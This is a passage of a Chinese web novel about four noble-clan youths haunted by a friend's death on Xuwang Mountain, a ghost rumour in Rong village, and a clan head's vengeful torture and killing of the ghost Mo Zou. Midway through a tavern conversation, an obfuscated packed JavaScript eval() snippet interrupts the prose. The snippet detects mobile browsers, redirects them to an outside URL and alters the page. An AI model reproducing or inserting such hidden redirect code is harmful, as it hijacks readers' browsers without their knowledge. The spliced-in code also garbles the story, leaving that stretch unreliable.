陆倾行死在他们仨人面前,他们却只能噤声不言,做个共犯,当个懦夫! 然而他们失语并非为保自个清白,当言而不言便是圣贤十五族该死的规矩。参与虚妄山试炼者,无论是生是死,都不能探究其因,这是十五族明争暗斗的代价,也是护十五族相安无事的保命牌。 族中人的嘴一张一合,他们高谈亡魂作乱,悲叹陆家子死得凄惨。死因是什么,他们根本不在乎。 可怜那陆家长公子凄入肝脾,大雨如注,他跪地叩首,只求十五族彻查虚妄山之事。 重板打碎他的脊柱,溅开的鲜血污了陆家圣贤阶。 他被关入陆家狱整整一年。 “十五族是天,逆天而行,便是罪。” 陆倾行之死成了青史悬案,一句“寻無十三年,虚妄山事发,陆家嫡次子因邪祟肆虐,身死山中”盖棺定论。 顾於眠攥紧拳,重重将头磕在地上,他双目通红,却愣是流不出一滴泪来。 他早已无泪可流了。 “倾行……我有罪……我一定替你好好活。” 一语既出,他浑身震颤。他如何配呢?他一假仁假义之徒要如何替一善人活着? 白璧青蝇,江许二人皆是无辜入局的可怜人,他们是“白壁”,而顾於眠这恶人则是“青蝇”。 二人以为陆倾行是被藏在雨中的奸人所杀,而他却清晰记得那瓢泼大雨中,他的血刃是如何刺入陆倾行的胸膛,将那跳动的心翻搅着拖出! “阿眠!”江念与的惊呼将顾於眠从恍惚中扯出,他直视着顾於眠如血通红的双目,一阵令人颤粟的骨寒又弥漫开来。 只是许昭安未发觉,他兀自哽咽着,用衣袖擦去面上泪:“倾行,你别怨我们一年来不了几次,念与人在渭于,不能像过去那般常陪着我俩,我们俩个也不愿总来打扰你的清净……” “你们两个收起那些怨苦。”江念与强忍心中悲怆,故作坦然,“怎能让倾行看见这副样子?” 他扼住颤抖,深吸口气,这才缓缓道:“倾行,年岁尽时,我们会去陪你,只是还不到时候,还恕我们让你寂寞了……” 一边说着,江念与开始斟起酒来,又一杯杯地倒在碑旁,口中道:“倾行这杯敬我们四人友谊地久天长。” 他又倾倒了一杯。 “这杯敬你护我们安康。” 再倒了杯。 “这杯祝你在那边依旧过的顺意。” 紧接着,许昭安也跟着倾了几杯酒,只说了几句话,又将自己说得泪眼婆娑。顾於眠则边说边低垂着头,像个半死之人。 三人在那碑前絮絮叨叨地同已逝的故友说了好些话,出密林时却都闭口不言,林中响着的尽是鸟雀之音。 那冢上斑斑驳驳地爬了好些青苔,只是冢下无棺,恍若无主的碑葬的是找不到尸身的十五岁少年,亦是三个幸存之人一辈子挥之不去的梦魇。 ------------------------------------- 待三人回到禮城时,已是正午时分。 四地中,禮间不同于其他三地,禮间四地呈向心状布局,禮城便是中心,四族府邸汇集于此。因而,李、顾、许、若四族相较于其他三地内部宗族要更加融洽和睦,平日里相交来往多,自然也都作一家人来待。 因渭于江陆二家同禮间顾许二族关系不错,故原本四位年龄相仿的公子也顺理成章成了至交,奈何不过十六年光景,四人之交生生变作了三人之谊。 江家在禮城也有一处府邸,江念与离了林便“打道回府”了。许昭安被家中大哥催促着归家,亦没敢久留。顾於眠笑着送走他俩,那僵在面上的笑便逐渐发苦,他掩面舒气,却愣是带出一口血来。 摧心剖肝之痛自见了那青冢起便离不了他身,方才强忍已至极限,他于是忙扶住一无人巷中的青石墙大喘粗气。他疼得浑身震颤,却是无计可施。 然而,堆砌心底却不知是怒是悲。他发了疯般用手砸在凹凸不平的墙面上,直把指骨砸出血来。 可惜他到底不是个疯子,顾於眠强咽下心底苦怨,沿着那墙面下滑,继而瘫坐在地。 他琢磨了半晌,如何都得不出回府的理由,闷在那府邸里,终究太过难耐。他于是起身,匆匆至一成衣铺里买了新衣裳,将一身狼狈给遮去后便钻入了禮城人海中。 他漫无目的在其中游走,无非是厌倦了家中人的嘘寒问暖,然而哪怕是他垂头不言,一路上认出他而招手问好的人也太多太多。 “顾公子”或“顾小公子”之言像惊雷在他耳边不时炸开,不知他名姓的女子见他生得玉树临风,还总羞红着脸上下打量他,让他自己也些许不好意思起来。 只是这会他心情实在阴郁,实在不愿虚伪地扮笑脸看人。思忖片刻,他闪身入了禮城那最热闹的醉云楼。 见他进门,那醉云楼掌柜便满面喜色地迎上前来:“哎呦!顾小公子,几日未见,怎愈发俊秀了呢?我这就给您寻个楼上的上等座。” 言罢掌柜的就要唤小厮来给他领路,只是顾於眠进门时目光便落在了一楼西北角的两个贵客身上。 于是他对掌柜轻轻摇了摇头,笑道:“多谢,今日便不必了,我有朋友在里边落了座,我同他们凑一桌便成。” 继而他穿过一桌桌人,到了那桌边。 “卿序,尘吾!”顾於眠见了俩人不知怎地倒觉心情舒畅几分,他勾唇笑得灿烂,“禮间的吃食可还合二位的胃口?” 严卿序闻言抬头,恰直直对上顾於眠那双弯弯笑眼,笑靥明媚得令他挪不开眼来,只可惜他那泛红的眼角也太过扎眼。 他于是颔首,谁知垂眸时恰又瞧见顾於眠沾了血的指骨,他不知发生了什么,却也没多言,只是起身轻轻拉开了一旁的木凳,请他坐下,笑道:“我们方才已拜会过令尊,刚在街上转了会便入了这酒楼。禮城果然名不虚传,属实热闹繁华呐。” “凑合吧……”谢尘吾淡淡道,“这酒倒还算别有一番风味。” 谢尘吾言罢便要给顾於眠斟酒,怎知顾於眠轻摁住他的手,讪讪笑道:“尘吾……你知道的,我这酒量实在……” 闻此,谢尘吾先是一愣,继而又冷笑起来,“都三年还是那样么?” “喝一些倒是没什么,只是喝醉了耍起酒疯来,怕酿成大祸呐……”顾於眠一边笑,一边接过严卿序斟好的茶。 “也是,当年你每次耍酒疯,回回得揽着卿序喊江念与的名号,逼不疯他,倒逼疯江念与了,也不知哪像了。”谢尘吾想来觉得可笑,又偏头盯着严卿序仔细瞧了几眼,又回想了下江念与的模样,果真是毫无关联! “哎呀,醉后之事当问醉时人,我怎知道呢?大抵天下美人都有相似处吧。往事可莫要再提了。”顾於眠用一只手撑住面,微微歪头,又笑问,“二位公子似乎还没同我说过此次禮间之行所为何事呢?” “已至暮春,今年的四地‘苍巡’该开始了吧?”严卿序端起酒杯,轻轻抿了口,才继续道,“今年不同于往昔,四地怪事层出不穷,连有关十五族秘术秘宝的谣言都在各地传开来。虽辨不得真假,但无风不起浪,这背后使绊子的人一旦触及了任何一族的底线,怕是十五族间的争斗又要摆上明面来了。” 所谓“苍巡”指的是每年十五族中都有一族要派族内子弟到四地去巡查,瞧瞧四地有没有欺压百姓,或是鬼魂作祟一类的事,也算是正儿八经的互相督察,既能够保证百姓不被世族压迫,又可以防止邪祟作乱。 “我们此番前来主要是为了征求顾家主许可,将往后三年的‘苍巡’合一,借四族之力,一起探查怪事。毕竟现在四地乱象不断,此举终究稳妥些。” “这是……十四族不信顾家?”顾於眠把玩着新买来的玲珑骰子,纤长的手指拂过那錾刻着花叶的表面,又抬起眼来对上了严卿序从未离开自己的视线。 严卿序也没闪躲,只是无奈叹了口气,依旧温和道:“於眠,你别再试我了,十五族的关系非我们小辈可以左右。何况今朝不同往昔,多个人终究是多份力。” 顾於眠听了这话,倒爽快直起身来,笑道:“是了,父亲前几日还同我说起‘苍巡’之事。但顾府人丁不及许家那般兴旺,我还正愁无人相伴同行呢!如今这般自然再好不过了,那便提前谢过几位公子相助了!” 严卿序微笑着同他摆了摆手:“此事我已和令尊商讨过了,只是百权有我们严家,陌成有谢家,禮间有顾家,这渭于倘不派一族参加,恐怕不妥。不知於眠意下如何?可有合适人选?” “渭于无人?魏长停可是死了?他是要烂在秦楼楚馆么?”谢尘吾闻言不屑讽问,只是他一愣,又嘲道,“怎么,他不愿意来?” “……倒也不是,前几日我同他比试骑术,他不慎坠马,被踩了几脚,恐怕受了些伤,不方便。”严卿序叹了口气,面上尽是无奈。 “他好样的。”谢尘吾艴然不悦,他斜目瞧着那酒杯,整张脸都写了“不满”二字。 “卿序这是想让我去唤念与吧?”顾於眠听出严卿序话外意,笑了笑,“廉公子和陆大哥早已接管了部分族内事务,也来不了吧?” “於眠既已猜出,我也不拐弯抹角了。三年前虚妄山试炼,江公子同你争的都是术法比试的榜首状元,此番乱事,自然是术法高强者位居首选之位。” “我知道了,明日我便亲自上门去问问。” 正事说罢,久别重逢的三人又你一言我一语地谈起天来。 醉云楼本便是处热闹地,楼内碗筷敲打声,亦或是歌女抚琴唱乐声不绝于耳。喧闹中又属旁桌人交谈最为尽兴,侃天侃地,眉飞色舞。 “大家可知道若地东边那块有个榕村?最近死了好多人嘞!本来好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775665|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块宝地,现在整得阴森森的,俺有一个兄弟就住那村!听他说呐,村里人半夜可都不敢出门,因为那林间每到日落后就有哭声传来,怕是恶鬼在寻命嘞!” “竟有这种怪事?!” “只是咋叫它宝地呢?” 这话一出,严、顾二人都登时感兴趣起来,连一向万事不入耳目的谢尘吾都将手中酒杯轻轻放下了。 “求的啥呀?富裕还是长寿?” “姻缘!” “……” 三人都默默将面前杯中酒茶喝了个干净。 “暮然和吟离倒需要了……”顾於眠对他俩勾唇一笑。 这萧家公子萧暮然和沈家公子沈吟离三年前在虚妄山试炼时相识、相恋,可谓是神仙眷侣情投意合、如胶似漆。 只是羡煞旁人的同时俩人也招引了不少闲言恶语。萧暮然作为萧瑜大哥萧炆的遗孤,若无子,恐会断了萧家的后,要知道在此之前坊间传的沸沸扬扬的便是萧瑜为了保证萧家能够完完整整地回到萧暮然手中,这才至今无妻无子。 更何况,沈吟离也是家中独子呐,一桩所谓美谈,要的可是十五族中两大宗族绝了直系嫡长子之后! 但顾於眠从来坚定站在支持一方,所谓“情不自已”,爱便是爱,强求不得,也强拆不得。 顾於眠是信缘的。 然而只听谢尘吾冷笑一声:“他俩这是要萧家和沈家绝后。” “尘吾,人这一世能遇一良人是缘也是福,是你不解风情啊。”严卿序摇了摇头。 “两个大男人如何嫁娶,如何传宗接代?”谢尘吾不屑地瞥了他一眼,仰头又饮下一杯酒来。 他从来不信缘,也不觉得自己会爱一人爱得刻骨铭心,红尘同他相隔的恐怕不是一山一海的距离。 “就是有尘吾这样的人,暮然和吟离他们才难行呐。”顾於眠摇了摇头,将那玲珑骰子抛至半空中。 “那两人行得艰难?他们三年前尚且在虚妄山时不就‘大大方方’眉来眼去了?我看容易得很吧?” “世人何知他人苦,世间倒有千千万万的他们呢!”顾於眠接住落下的骰子,见这回正面刻的是朵芍药,于是轻吟道,“赠之以芍药【1】呐……” “尘吾连男女桑间之约都不识不认的,何能懂男子分桃断袖之情?”严卿序听二人拌嘴觉得有趣,言罢抿了口酒笑笑,又对谢尘吾道,“你和长停太过不同。长停醉在风花雪月中,你却成日和那若有若无的尘土较着劲。” “谁和尘土较劲了?”谢尘吾蹙起眉,兀自喝了口闷酒,“魏长停那家伙属实是脏到了骨子里……” “反正呐,这事也真邪门。大家暗地里都觉得是那四离恨亡魂现身,要降灾于民!”只听那汉子又高声道。 “四离恨是啥玩意?” “嗐!四欢喜四离恨就是若地一歌谣。哎呀,我唱给你们听吧—— 歌欢喜,功成名就声名扬。 歌美满,执手相许少年郎。 歌长安,身无重疾贵体康。 歌舒心,煮茗听雨品华章。 悲别离,笙箫余音尽绕梁。 悲无情,笃新怠旧再无双。 悲虚妄,空守楼阁不近旁。 悲生死,遗恨未绝万事伤。 反正啊,这四悲四喜是由若地的民间故事拼凑而成的,大抵是八个不同的悲喜故事!具体的你们自个了解去吧。” 只见汉子“咕咚”饮了碗酒,用手一抹嘴,又继续道:“大家伙可别不信,这事邪门得很!要知道,这榕村死的人里多数为年轻男子,若是要强说是世仇寻命吧……死的也不全是当地百姓,异乡客也不少,但我可发现了他们的相通之处!” “什么?外貌还是性子?”旁边一个江湖游侠打扮的男子翘着二郎腿,一边用手在桌上轻敲,一边极随意地问。 “是薄情!小兄弟你是不知道,这死的人里既有儿女双全之人,也有新婚不久之人,但那群人可都背着感情债呐!什么抛家弃子啊,什么喜新厌旧啊!更奇的是,若那人有妾室,他若死了,他的妾室定也活不长久……” “哈哈哈……都是道听途说吧?我怎就没听过呢?”那侠客模样的人笑着把酒碗一撂,便要起身离开。 “也是,自古民间多歌谣传说,真真假假本难以辨得,也多半是杜撰的!”顾於眠没有放在心上,只喝了口茶,然而那少年侠客一回身,顾於眠便笑着挑了挑眉。 “哎呀,这位小兄弟,这可是你见识短浅了!你可知道禮城西边那王屠户昨日怎么死的?他昨日单去榕村探了回亲,今早便被发现死了!他浑身上下那可是只剩一具白骨呐!你说不是邪祟作怪能是什么?” 汉子又吞了口肉,才含糊道:“小兄弟,我不骗你,我这辈子就没见过哪个刺客能把人剥成那副鬼样子的!人家四府的大人们都来了几趟了,说是查不到死因呢!查不到什么意思?那是事非人为的意思啊!而且你猜怎么着,他家的妾日中也死了!哎呀,都是负心的罪呐,难不成这世代还不让人娶妾了吗?” 那游侠闻言停下脚步,皱了皱眉:“大哥,你方才说什么,四府的人都来过了?我怎么不知道这事……” 顾於眠闻之笑着起身,走到那桌边,对那侠客低声道:“回去问问令尊便知道了。” 那人闻言一惊,回过身才认出顾於眠来:“欸,於……不……顾公子!好巧!好巧!” 顾於眠知道若讱不想让旁人认出他来,于是将他拉至严卿序那桌坐下。 这若讱是禮间四族之一若氏的嫡长子,几年未见,三人此番相见得突然,也是感慨良多。 “你怎么这副打扮,真把自己当游侠了?还有没有点宗族嫡长子的模样了?你爹也不收拾你?”谢尘吾淡漠地瞧着他。 “我爹如何能管我呐?哎呀……甭提那些有的没的了,先说我到若地一个传的邪门的镇子上当了整月的打更人的事吧。”若讱眼见地来了兴致,只是他又重重叹了口气,“我就想着,月黑风高夜,活生生一个人兀自游走街头,他们不抓还硬要跑人家屋里抓人去么?谁知道最终还是一无所获!真真烦死人了!” “你去送死?”谢尘吾蹙起眉,“你可知道那般任性行事迟早有报应?如今可不是过去那样的太平世了。” “这有什么好怕的!?扶正黜邪,剪恶除奸,死不足惜!” “……”谢尘吾懒得搭理他。 “方才那位大哥所言,也太过邪门……”顾於眠将手中动作停下,玲珑骰子也被扔在了一边。 所谓四府便是禮间李、顾、许、若四宗族,四府派去查案的,都是会术法的府内亲兵,连他们都束手无策,必然不是寻常事。 “不然便从那开始‘苍巡’?” 顾於眠点点头,只是突地想起什么,匆匆道:“差点忘了问,墨邹一事可处理好了?” “人是给了萧家主,他会不会同我们说实话便无从得知了。”谢尘吾仰脖饮尽杯中酒,“十五族最不缺的就是心眼。” 6. 安生 禮间的暮春偶有小雨,细密絮雨打在一枝干歪斜的老榆上,那榆树便像得了赏似的晃动枝丫上被浇得更绿的新叶,发出窸窸窣窣的声响。 榆树边上懒洋洋瘫坐着个挽着裤腿的仆从,恰逢春困,他一只手揉着有些惺忪的眼,一只手挡着耀目的日光。 三人绕过那榆树和仆从,在萧家府门前被淋湿的青石板上印下了木炭灰似的足迹。 严卿序右手撑着把伞,左手牵着根玄铁链,铁链经由瘦削的脖颈,缠绕数圈,牢牢缚住面无血色的怪物。 他二人方一走近,一老爷和几个玄衣侍从便迎上前来。 严卿序抬眼望去,只见那老爷面色肃穆,不怒自威,身上朱湛大袍盖墨缎,玉带滚银边,一透亮血玉螭佩安然枕卧其腰间,任长风来去,不动分毫。 “二位公子,久违了。萧某已久未见二位公子,未尝料我们仨南疆人竟在此北域重逢。”萧家主萧榆微微笑着,推手做了个揖,便要请二人进去。 “不必劳烦家主,我二人还有他事在身,墨邹相关事皆已在信中写明,这会将墨邹交予家主便要先怀愧告辞了。”严卿序冁然一笑,抬眼对上萧榆的目光,依旧温润如风。 家主之位落到萧榆手上那年,萧榆也不过个方及冠的少年郎,如今十六年过去,也尚未至不惑之年。可惜风华正茂时白了鬓角,丝丝缕缕愁雪夹在乌发间,多少有些沧桑。 “既然如此,萧某便不叨扰了。” 三人再闲扯几句客套家常,俩人便推手离去,严卿序手中牵鬼的链顺理成章被攥在了萧榆一只满是刀疤的手中。 旁侧等候的侍卫见状赶忙上前:“家主,我来吧?” 萧榆没应,栓狗似的猛然使劲将那畜牲不如的东西往前一拽,见他重重摔在地上,连面上骨头都磕碎几角,这才轻蔑地松开手去,而后慢悠悠将人拖入府中。 长廊阒然,途径阶柳庭花、玉砌雕栏,萧榆面上却像是被冷雨给冻上了,他一双眼死死盯住前路,深深寒意逼走了要上前问候的侍女。 至一屋前时,他停下步子,踹开门后便把那怪物摔了进去。 墨邹跌坐在地,受铁链束缚而不得起身,萧榆原以为那怪物会龇牙咧嘴地呼嚎,谁知他不过淡漠地瘫在冰冷的石面上,一双眼空洞麻木,徒然透过窗纱望向屋外天。 只若是从前那般,痴痴地探看青天。 墨邹木木樗樗地看天,合了门过来的萧榆便站在他身边,一动不动地盯着他瞧。 良久,萧榆冷笑一声,长舒出口气。他环顾四周,手抚上了桌角还闪着银光的冰冷铁器。 静寂屋中,惟有角落里一被火烤得发红的铁块滋滋爆响——这是萧家府中的刑房。 萧榆从刑具中挑挑拣拣,双手因太过兴奋而颤悠悠地晃,良久,他才终于选出把还沾着血的铁剪子。 他曾无数次设想,倘若墨邹没有死透,他必然要让墨邹好好尝一尝求生不能、求死不得之痛,他要处墨邹以凌迟,要让他五马分尸,要断其手足、剖其双目,制为人彘,要…… 他并不犹疑,倏忽间,他抬起手便一剪子捅穿了墨邹的脖颈。污血霎时喷溅而出,他面上、衣上、裸||露出的皮肤上,皆沾满了鲜红。 墨邹终于抬起了无神的目。 恰这时,有什么东西一滴一滴落在地上,萧榆垂头去瞧,只看见了同手上血一齐坠落的点点水渍。他冷笑一声用沾满血的手胡乱在面上一擦,半晌才抬起发红的眼,却只看见了那人冰冷迷茫的神情。 墨邹早已无痛觉、无意识,早便死透了,而今眼前站着的不过他一丝半缕神魄。 还有什么不满足的呢? 可笑的人究竟是墨邹……还是对着一行尸走肉发疯泄愤的他呢? 萧榆的眸光流转,堪堪在墨邹逐渐愈合的伤口处停下,又移向了别处。他松开手去,想看那剪子是否会被凝合的皮肉给封入骨肉间,谁知只听得“哐当”一声,带血的剪子落入血与泪中。 “你死的是何等容易……我活着又是何等的度日如年……” 执念成了无解之毒,圈圈绕绕将囚鸟束缚其间。他根本放不下,哪怕再杀墨邹千万遍,心头滔天歉疚也无可弥补。每每瞧见亲侄萧暮然那双像极他大哥的眼便如饮鸩,疼得他几近窒息。 恨意扎根,成了他存一命于世的瘠壤。生亦或死,他其实都不在乎。 他盯着那眼神麻木的墨邹,竭力遏制的感情里藏得最深的也不知是恨意还是怒意,亦或者都不是。 屋中安静,那尸鬼随了主儿生前的性子,只是安安静静地站着。 萧榆陷入旧忆良久,口中喃喃,也不知是说与谁听:“究竟……为什么要这样对我……我不曾有愧于你……我不曾心怀鬼胎,为何偏偏要折磨我?” 他仰首,昏暝间有烛光在墨邹那张毫无生气的脸上跳跃,可那双眼里是黑黢黢的深坑,是死人的空洞。 十六年前的混沌岁月捅穿了他的脏腑,填入了些诡谲的梦魇,夜夜入梦的皆是他大哥大嫂沾满尘泥的头颅与无数未来得及持剑上马便身葬血海的萧家兵。 “为墨家叛贼开脱可是死罪啊……可我还是去求大哥了!我跪着求他!我求他放过你!我和他说你不一样!可……你呢!?” 萧榆扯住墨邹的领子,发了疯般喊得撕心裂肺,腥甜血味在他口中化开,他只咽回去。 “你用你那把剑……捅穿了我大哥的胸膛啊……”萧榆的双手止不住地发颤,语声哽咽。 那尸鬼应是听不懂话的,可这会却颤巍巍地挪动起被铁链束缚住的手,挣扎着呜呜低叫起来。 “好……至少老天待我不薄……今日我便要一解心头之恨!” 腰间剑被他遽然抽出,凛凛刀光一刹如雪落,刺目鲜红于是喷洒成花。 一剑穿心,偿大哥大嫂性命。 一剑剖腹,赔枉死的萧家兵之命。 一剑封喉,还他愚拙真心。 …… 墨邹身上留下了大大小小的血洞与剑痕,萧榆的剑狠辣,将那玄铁铸的缚魂索都斩作无数截铁块。 “我日日夜夜都在后悔没能亲手杀了你给大哥报仇!”萧榆的剑方一抽出,复又狠狠插入墨邹心口。 不属于亡魂的泪一滴又一滴,都落在带血的衣襟上。 缚魂索断了,惟一息尚存的墨邹并不挣扎,他身上的伤口斑驳,也没再愈合。他抬了抬右手,轻轻抚在心口的剑上,却没有要将剑拔出去的意思。 那双浑浊的眼望着萧榆,似是有了几分清明。 世人都说,死前执念太重,死后便不得安生。 只见墨邹的嘴唇一张一合,熟悉的声音留下模糊的只言片语。 萧榆耳畔嗡嗡作响,什么都听不太清,但那一遍又一遍重复的话让他连假装没听见的机会都没有。 “小榆,对不起……” “小……榆,对……不起……” 萧榆闻言却冷笑一声,并没有要放过他的意思。 时至今日,几句对不起能有何用? 能让他大哥大嫂活过来吗? 能让白白死去的萧家兵活过来吗? 有何用!!!? 可倏忽间,那墨邹用尽全身的气力,抵着刀剑往前去,萧榆的剑锋穿过他心口戳在石墙上,墨邹却张开手将萧榆抱在了怀中。 他心口处的血沾在萧榆衣上,温热的气息在他耳边散开。 “对不起……” 萧榆一刹愕然,却还是在醒过神时将他推开,继而一脚踹在他腹间,将他从剑上退出去。 而后,不等墨邹再多说一句话,萧榆携着术法的长剑又穿其身而过,杀这怨念极深的亡魂,寻常的刀剑可不行。 可偏偏就是那一刹之间,他瞧见了墨邹嘴角噙着一抹笑,还不容他再看清,墨邹的骨肉皆烟消云散。 而后,一缕尘灰落入萧榆的掌心间。 他漠然拍去掌心那抔土,垂首等待,等着墨邹重塑肉身。 但并没有,墨邹死得彻底,连缕残魂都没留下,十恶不赦的凶鬼终于在世间散了个干净。 细碎浮尘随风去,不觅行踪。 “还真是……痛快……”萧榆冷笑一声,扔下沾满血的剑便要甩袖而去。 可惜他堪堪走至门边,脚下一软,竟瘫坐在地。他抬袖擦去面上腥血,湿了的袍上沾着的却尽是泪。 萧榆发了疯般以拳砸地,半晌无言后卸了力倚着木门,像是被拔去犬牙的狼,怯懦地缩在影子中。 突然“哐当”一声响,他红着眼抬首,只见一块玄色兵符落在了墨邹死去的墙角,浸泡在浓血中,在昏暝中幽幽发光。 ------------------------------------- 醉风楼中四人聊到酉时才散了桌,若家公子若讱答应帮他们绘一张榕村的舆图,明日一早给他们送来。 余下的三人一齐回至顾府时,恰落日余晖倾泻禮城,顾氏府邸于暮霭至前熠熠闪光。 十五族的府邸一向气派,顾氏府亦是如此。那缓缓打开的府门上密密刻了上千字,顶头一块鎏金的匾上蟠虺纹游走,一“顾”字若千钧重压镇府,纵旁侧花叶纹细碎亦不弱其势。但其间亦雕刻不少云雾白鹤,给这“北冥凶魑”添了好些纯善仁德之感。 虽说各家有各家的恶名,但禮间顾氏行事其实不似其凶名那般张狂恣肆,其家风含蓄内敛,族中人行事亦低调谨慎,都道是“清风月明”,顾家从来是十五族正直仁义之范。 但恶名也非平白无故添上的,再干净的氏族都藏着好些见不得人的丑事,只不过相较起来显得没那么差劲罢了。 入府最先窥见的是些置于廊下的讲究木雕,穿廊而过,则见庭前熏香清淡,白雾冥冥。一黄花梨木小桌上摆着几壶清酒,门客悠悠摇扇,月白袍遮去酒盅上的夜雨青竹,笑语不绝。 然而,那貌观襟怀坦荡的顾氏长公子顾於眠从入府起便鬼鬼祟祟,他小心翼翼藏在柱子后边朝府中张望,好不容易穿过曲绕的长廊,却近乎是一步一回头地向前行。 奈何一路上侍女侍卫云云总要柔唤亦或高呼——“公子,您回来啦”,顾於眠只能苦笑着点点头,又将食指置于唇边,神色可怜。 那些个侍从们似乎也都清楚他意,见状皆笑着压低声,道一句“公子,属下明白”,可跟在他身后悠悠向前的严卿序和谢尘吾并不能理解。 “堂堂顾公子,怎么回自家府邸跟做贼似的?令尊也不是那般严厉的人吧?”谢尘吾言辞向来无情,这会又不禁嘲弄。 顾於眠对他赔了个笑脸,道:“自然不是。” 他语声方罢,便听得身后传来声沉而稳的——“顾小公子,您可算回来了!” 一中年男人大步流星而来,打扮素简又不乏讲究。他一头长发半束半散着,眉目温和,不露威色,身上绕着股淡淡的药草清香。 顾於眠闻言猛地刹住脚步,深吸一口气,这才换了张极灿烂的笑脸回身迎上那人的目光。 “常叔,两日不见您,我是愈发想您了!啊,我给您介绍下,这位是严公子,这位是谢公子,您应听父亲说过的。呃……啊对,二位公子远道而来,中途遇上了些麻烦,不过没关系,於眠这就去侍奉……啊不是,这就领二位公子去好生休整……” 一席话行云流水,颇有些溜须拍马惯了的意思。 那人却瞥都没瞥顾於眠一眼,只对严卿序和谢尘吾微微作揖行礼,淡淡道:“常某有失远迎,还望严公子、谢公子见谅。” 一番问候完了,这才侧过脸去瞧顾於眠,一双寒目直把顾於眠盯得心里发怵。 “你便没其他话要说了?” 顾於眠见状乖乖垂首认错,神情无辜,像只无处可躲的小兽:“常叔,於眠错了,您该骂便骂,该打便打吧……可别这么盯着我了。” 半晌未闻言语,顾於眠小心翼翼抬眸瞧了常柎一眼,见常柎只立于原地斜睨着他,顾於眠心领神会地看了看身侧的严卿序和谢尘吾。 他于是不假思索道:“二位公子是好人,常叔也不必将他们作外人,您要说什么直说便是。” 闻言,常柎勾唇微微一笑,飞起一脚便踹在顾於眠身上,虽说脚下留情,但顾於眠还是一趔趄,差些跌到严卿序怀中去。 “顾於眠,你好大的胆子,我这月给你开的药你吃了几次呐?我一只手都数的过来!嘿我一忙活别的不在你身边,你便要蹬鼻子上脸是不是?” 他一口气都没喘,又滔滔不绝道:“我同你讲了多少遍了,你若想尽早调理好那梦魇带来的内伤,你就得给我好好吃药,还是你想如柳氏那般躺在床上度日?” 常柎语速快得惊人,毫不留情的数落把一旁的严卿序和谢尘吾也震慑得一言不敢发。 顾於眠垂头听骂,像极那秋风中欲坠不坠的枯叶,岂“可怜”二字可言。 “下次再被我逮到,你就等着挨拳头吧!” 常柎骂完后便头也不回地走了。 “……顾府竟还有如此人物?”谢尘吾心底困惑,十五族的公子哪个不是众星捧月,敢对玉叶金柯大放阙词乃至动手打骂之人,着实少见。 “我家的医师,也算我半个师傅,只是他不认我这个徒弟……唉,常叔平日里待人可不像待我……”顾於眠无奈叹了口气,“师傅他全名唤作‘常柎’,可是个了不起的名医呢,来我家十几年了,也算是看着我长大的。” 严卿序想了想,却还是温柔问道:“为何不愿吃药?” “那药苦……” “……” “哈哈哈哈——”谢尘吾几乎是一路笑到暂居处。 “唉……尘吾你莫再笑我了。”顾於眠无奈至极,“外人不都道‘谢家长子,一笑千金’么?怎到了我这,你便笑个不停……” 顾於眠也没办法,自己生来是这么个怕苦不怕疼的性子,再重的伤咬咬牙也便过去了,只是这苦药于舌尖凝聚不散,怎么都清不干净般,着实叫人难受。 “哈哈哈哈——顾公子,良药苦口本是常态,不过苦药罢了,又不是三四岁的孩童。” “‘千金笑’乃真心开怀,尘吾向来不嘲则不笑,一笑千金不假。”严卿序无奈叹了口气,侧头见谢尘吾还在笑,作势要去掩他的嘴,却被谢尘吾躲开了。 他的手停在谢尘吾肩头,心绪却莫名乱起来。 虚妄灾后,有人言,顾氏长子生了要命的癫病,甚而传出了其已死的谣言。纵使不问,严卿序也能猜到常柎口中“梦魇”同三年前虚妄山血灾相关。 说不好奇是假,但他不想多问,他怕那么做会伤顾於眠更深。 虚妄之灾已三年,但连他这旁观者也自认一辈子都忘不却。那日天色诡谲,瓢泼大雨携震天雷突至,千万恶鬼怨灵自山林间逃窜而出,不过眨眼间,天边已被刺目血色给填满了。 他依旧记得,那日,受了伤的十五族子弟是如何颤抖地跪在山下祈福,那寻不着的四人是如何令人心焦如焚。 只是后来仍然只有三人带着满身的伤下了山,那姓陆的少年郎是尸骨无存。 故人去,伤的却是尚活在世上的人。 向来如此。 严卿序有些记不清至客房的路是如何走的,他陷入旧忆陷得太深,再醒过神时,俩人都已离开了。推开窗时,他才发觉这客房恰好在顾於眠屋子的对面,他推开窗子便能看见他。 夜半之时,严卿序倚窗思索林中古怪,恰望见了 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顾清湖中央是个湖心亭,通往亭子的路逢雨季便会浅浅没入水中,人踏水而过似行于明镜之上,加之以四周水雾氤氲,隐有蓬莱之感。 顾於眠将严卿序、谢尘吾领至湖心亭,三人坐饮,也算别有一番滋味。 谢尘吾显然对这风光水色不感兴趣,他手中握着杯盏,只冷漠道:“榕村那恶鬼怕也算是为民除害吧?不正合了一生一世一双人之意?” “负心确是过错,但罪不至死。何况二人纠葛,岂容旁人指手画脚?遑论被负之人大多渴盼浪子回头,而非生死两望……”严卿序摇了摇头,眸里装着满湖熠熠清波。 “突如其来的阴阳两隔,是要那人记一辈子的。”顾於眠一边用手撑着脸,一边微垂眸看向那映着星河的湖水,不觉勾起了唇。 他那双清澈眸子中似是点着盏明灯,皓齿明眸如是画中来。因他笑得眉目弯弯,严卿序一时间像是听见了心潮浮涌的声音。 严卿序小心瞥看着他,见他笑意盈盈,也不自禁露了笑。 “顾公子当真好兴致,就瞧这湖景也能心情大好……”谢尘吾冷冷瞥了那湖面一眼,觉得无趣便又移开了目光。 “如此良辰美景岂能辜负?既得意,何不尽欢?” 顾於眠歪过头时恰与严卿序的目光相遇,他笑得依旧灿烂,好若揉碎满庭花,不觉间已迷行客之眼。 “的确赏心悦目。”严卿序笑着微微垂下眸子来,顺手为顾於眠斟了茶,又拿起玉酒壶替谢尘吾斟满了酒。 谢尘吾没有再答,只将杯中酒一饮而尽。 杯空即至启程日,酒尽即是离别时。 ------------------------------------ 未尝料,待四人都坐上马车时,车内却充斥起令人憋闷的静寂——谢尘吾和江念与相看两相厌,二人都闷声不言,一旁的顾於眠和严卿序只得相视笑笑。 